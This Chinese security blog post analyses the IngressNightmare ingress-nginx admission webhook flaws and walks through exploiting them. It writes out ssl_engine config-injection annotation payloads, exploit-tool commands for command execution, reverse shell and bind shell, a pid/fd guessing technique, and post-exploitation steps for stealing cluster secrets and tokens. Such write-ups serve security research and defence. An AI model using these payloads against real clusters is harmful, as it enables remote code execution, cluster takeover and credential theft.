比ZeroLogon更凶险?Ingress 噩梦席卷云原生

admin 2025年3月30日21:15:01评论2 views字数 5514阅读18分22秒阅读模式

点击蓝字

比ZeroLogon更凶险?Ingress 噩梦席卷云原生

关注我们

声明

本文作者:Esonhugh

本文字数:5492字

阅读时长:14分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

.

比ZeroLogon更凶险?Ingress 噩梦席卷云原生
添加BOT发送“ 云安全 ”即可加入云安全交流群

悠闲的一天,刚刚开始上班就被 Wiz 搞的大新闻弄清醒了。在审查 Kubernetes/Ingress-nginx 项目的过程中, Wiz 的研究员们发现了多个注入的漏洞,主要针对的是 Nginx Ingress Admission Controller。其中最严重的漏洞可以使用多个不同的配置注入,从而使得攻击者在 webhook 对配置验证的过程中执行任意代码。在完成了对自己公司的应急响应分析和 poc 产出后,终于得到一丝喘息的周末,我以这里最严重的注入配置代码执行漏洞为例,分析一下漏洞的原理和利用方式。涉及源码分析的部分可以参看 wiz 的文章,这里主要是偏向实战和远程盲利用。

漏洞核心原理

茴的三种写法

Ingress nginx 的配置注入导致提权问题已经是老生常谈了,Wiz 在文章中引入了三种全新的注入方式,其分别是,CVE-2025-24514 - auth-url injection、CVE-2025-1097 - auth-tls-match-cn injection、CVE-2025-1098 – mirror UID injection。这里三种方式都绕过了 ingress-nginx 的正则表达式验证,写入了恶意的配置文件。

Auth URL 注入是最简单的, 直接注入一个 url 即可,以后续的利用中需要注入 ssl engine 为例,这个 annotation 长的像这样

"annnotations": { "nginx.ingress.kubernetes.io/auth-url""http://example.com/#;}}}nnssl_engine foobar;nn"}

Auth tls match CN 注入需要额外知道一个 kubernetes.io/tls 类型的 secret 名称。这个 secrets 必须有效,无效则会进入其他的控制流报错,然后注入一个恶意的 CN 名称,这个 annotation 大概长的像这样。

"annotations": { "nginx.ingress.kubernetes.io/auth-tls-match-cn""CN=abc #(n){}n }}nssl_engine foobar;n#",  "nginx.ingress.kubernetes.io/auth-tls-secret""kube-system/cillium-tls"}

Mirror UID 注入 Wiz 的文章写的非常省略,但是需要一个 annotation 和 metadata uid 的配合,这个 annotation 长的像这样

"metadata": {"uid""InjectTest#;nn}n}n}nssl_engine foobar""annotations": { "nginx.ingress.kubernetes.io/mirror-target""fake-mirror-target" }}

你可以在我的exp 中选择上述任何一种进行注入,当然默认情况是 auth-url 注入。

配置注入 RCE

和很多人一开始分析的不一样,漏洞不是针对 ingress 资源的创建之类的过程,相反,几乎完全不需要 APISERVER 参与,因为这个漏洞其实是针对 Admission Controller 的,更准确的说,是针对 ingress-nginx 的 validating webhook 的。这个漏洞的核心原理是 Nginx Ingress Controller 在处理 Admission Webhook 的时候,输入参数绕过了其中的正则或者直接输入了配置文件。

而这也不是最致命的,最致命的是 ingress-nginx 在处理的时候,会先写入一个临时的配置文件,然后会调用 nginx -t 命令来验证这个配置文件的正确性。而当我们配置文件可以部分可控的时候, Wiz 研究员找到了一种办法,可以通过加载一个恶意的 so 文件来执行恶意指令。也就是文章提到的 ssl_engine 指令。这个指令本身是用来指定一个 ssl 加速引擎的,应该是一个 so 文件或者一个代码块,但是在此处利用中,这个指令被用来加载我们恶意的动态链接库文件。

那么这也就意味着我们额外需要一个可控文件写入,于是 wiz 研究员转向了和 controller 在同一个容器内的 nginx 进程。这是一个很巧妙的 CTF 技巧,早期被用于 PHP LFI。其具体原理是利用 nginx 在接受大请求的时候,会将请求写入一个临时文件,然后再快速 unlink 删除这个文件。但是由于 /proc/self 技巧不可用,这个时候我们不得不猜测 fd 文件描述符号和 PID 进程号 通过 /proc/{pid}/fd/{fd} 来读取这个文件。

所有条件都已经到位,那么这个漏洞的总体利用方式是:

  1. 我们首先需要一个恶意的 so 文件,这个 so 文件在被载入初始化的时候会执行我们的恶意代码。
  2. 开启一个线程,持续的向 nginx 发送大请求,促使 nginx 写入一个临时文件。这个临时文件的内容是我们的请求体,而请求体便是这个 so 文件。
  3. 接下来构造恶意的 ingress admission review 对象,并且直接将这个对象发送给 ingress-nginx 的 validating webhook 。其中的 annotation 或者 mirror uid 是语句 ssl_engine 和对应猜测的 so 文件,通过猜测 fd 和 pid 动态生成这个 so 文件的地址。
  4. 重复 3 过程,直到我们的 so 文件被载入,然后执行我们的恶意代码。

利用代码在 https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps ,在集群 1.11.2 版本的 ingress nginx 上测试通过。

漏洞利用技巧

恶意 SO 构造

先从最简单的技巧说起,我只编译了一次 so ,就可以在任意 x64 linux k8s 集群里利用。而且同时具有 反弹 shell ,bind shell, 直接 cmd 执行 三种利用方式。通过编写固定的 IP 端口和 命令的占位符和模式占位符,在发送 so 之前,通过 patch 方式替换这些占位符,就可以实现不同的利用方式。

我的 exp 可以测试三种模式下生成的 so 文件

# 执行命令./ingressnightmare -m c -c 'ls -al;echo here is your command ' --dry-run > 1.so# 反弹 shel ./ingressnightmare -m r -r your_ip -p your_port --dry-run > 2.so# Bind shell./ingressnightmare -m b -b bind_port --dry-run > 3.so# testLD_PRELAOD=n.so ls

Never blind

这个利用成功和不成功并不是盲的,或者只能通过 reverse shell 反应,实际上,我们可以通过 validating webhook 返回的 json 数据中的 AdmissionReviewObj.Response.Result.Message 中获取 nginx 的报错信息。没错,webhook 将 nginx 的报错信息拼接后直接返回给了我们,这样我们就可以通过这个信息来判断我们的 so 文件是否载入成功。

通常会有三种情况

  1. 失败 无法载入 so 文件,nginx 报错 could not load the shared library 输出对应的 so 文件路径 例如 /usr/lib/engines-3/../../../../../proc/XXX/fd/XXXX
  2. 失败 so 文件载入失败,没有权限。 nginx 报错 permission denied这个在直接使用 /proc/xxx/fd/xx 进行利用时会很大概率出现
  3. 成功 so 文件成功执行,nginx 报错应该为 Symbol not found 表示 nginx 没有找到 so 中的函数 bind_engine

这些信息会告诉我的 exp 程序,他会自动判断我们的 so 文件是否执行。如果成功则会打印 Exploit Success pid xx fd xx

PID 范围猜测。

pid 和 fd 本质是 nginx worker process 在处理大请求的时候的 pid 和 fd。据我在几个集群中的观察,通常会在 26 左右,fd 通常会在  6 以上,这只是个人经验。

此外,在上一小节提及的 nginx 报错信息会被写入 Response 的 message 中,而 nginx 的报错的开头格式为

date [emerg] 主PID#PID: ENGINE_by_id("../../../../proc/111/fd/22") failed

这里暴露了,nginx -t 执行测试的 PID 进程,而我们知道,Linux 的 pid 是顺序增加的,而且 nginx worker process 肯定会在 nginx -t 之前就已经启动了,那么我们可以百分百确定,当我们第一次尝试触发 admission review 的时候的报错得到的 pid 地址,百分百是大于或远远大于 nginx worker process 的。这一点可以帮助渗透测试人员锁定最终枚举的 pid 最大值。

我的 exp 中支持发送一次自定义 adminssion review 给 ingress nginx ,其命令为

./ingressnightmare -vv --only-admission --only-admission-file /tmp/exp.so --ingress-webhook-url IngressWebhookUrl -m c

然后就会打印与 webhook 交互的细节,你就可以看到报错信息了。

如果在这个命令里加入 --dry-run 则只会在 标准输出中,写出构造出来的 admission review object

Post exploitation

在完成这一系列利用之后,攻击者便可以获得一个稳定的 shell 链接。也就是我们。

通过修改和重新配置存放的 nginx 配置文件,这样攻击者就已经具有可以处理、记录、中间人任何请求的能力,也可以通过 lua 脚本获取持久的 webshell 权限以规避防火墙检测。

在容器中由于 ingress 本身业务需要,会存放有一个 具有 集群级别 (Cluster Role) 的 Configmap Secrets 读取级别的 服务账户 (kubernetes service account) 通过利用这个服务账户,攻击者可以额外获取两大能力。

一是 敏感信息 例如 获取存放的 Docker Pull Secrets 来攻击集群镜像平台、偷窃 TLS 证书用于其他用途等

二是 在 k8s 设计中,(1.24 版本以前) kubernetes 会将 serviceaccount token 额外存放在 sercets 中,因此攻击者可以额外获取其他具有高权限的服务账户从而进一步危害整个集群。包括在运维过程中 Kubectl create token sa-name 也会创建一个对应的 secrets 来存储这个 token。

如果你有幸获取到了一个更高权限的 sa ,利用它,你很快就能接管整个 k8s 集群。

End word

Wiz 不愧为这两年云安全最强企业,漏洞一顶一的牛,我看完文章写完 exp 之后,久久说不出话。在这个漏洞里可以看出 wiz 在云安全领域深厚的积累。

Wiz Never said

这个漏洞固然有一定“运气”成分。

  1. 通常来说 adminssion webhook 只会对参数进行检查,而这里他们检查的方式是使用 nginx -t 检查整体配置。
  2. 在 nginx -t 中触发恶意 so 加载,他们一定也阅读了 nginx 代码,甚至官网文档都没有写的如此详细,这里可以利用的指令其实已经很少很少了。这里相当于挖掘了另一个 nginx LOLBins 的技巧。
  3. 再回到 webhook 应该采用双向 tls 验证,验证来源者的证书为 api server 这才是正确的生产实践,而他们默认没有开启。

我深刻地认为,导致严重事故发生的从来都不是因为某个单独的原因,而是多个问题同时出现。—— 瑞士奶酪理论

比ZeroLogon更凶险?Ingress 噩梦席卷云原生
Swiss Cheese Model

在这起事故中,所有漏洞可以被缓解的措施都没有被启用,导致整个云上集群被击穿。

ACI 空难画外音

启示

这个漏洞完美补全了我上一篇文章的遗憾,在写完《Spider In The Pod, How to penetrate kubernetes with low or no privileges 后,我认为我在 admission 中的举例不是很能说明问题(如果你还没有看过,点击链接,我认为它值得一看)。直到这个漏洞的出现,再次刷新了我对 adminssion 准入控制器的认知。

我认为 wiz 早在 k8slanparty 的时候可能就已经挖掘了 nginx 这里的漏洞,只是一直没有找到合适的 nginx 配置文件用的指令。当然,我也不是 wiz 的员工,只是一种直觉,

祝 wiz 在 google 收购后一切顺利,也祝愿大家在新的一年里,天天有 shell 弹!

作者

比ZeroLogon更凶险?Ingress 噩梦席卷云原生

Esonhugh

Take care of your cluster and be well. 比ZeroLogon更凶险?Ingress 噩梦席卷云原生

原文始发于微信公众号(WgpSec狼组安全团队):比ZeroLogon更凶险?Ingress 噩梦席卷云原生

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月30日21:15:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   比ZeroLogon更凶险?Ingress 噩梦席卷云原生http://cn-sec.com/archives/3899563.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息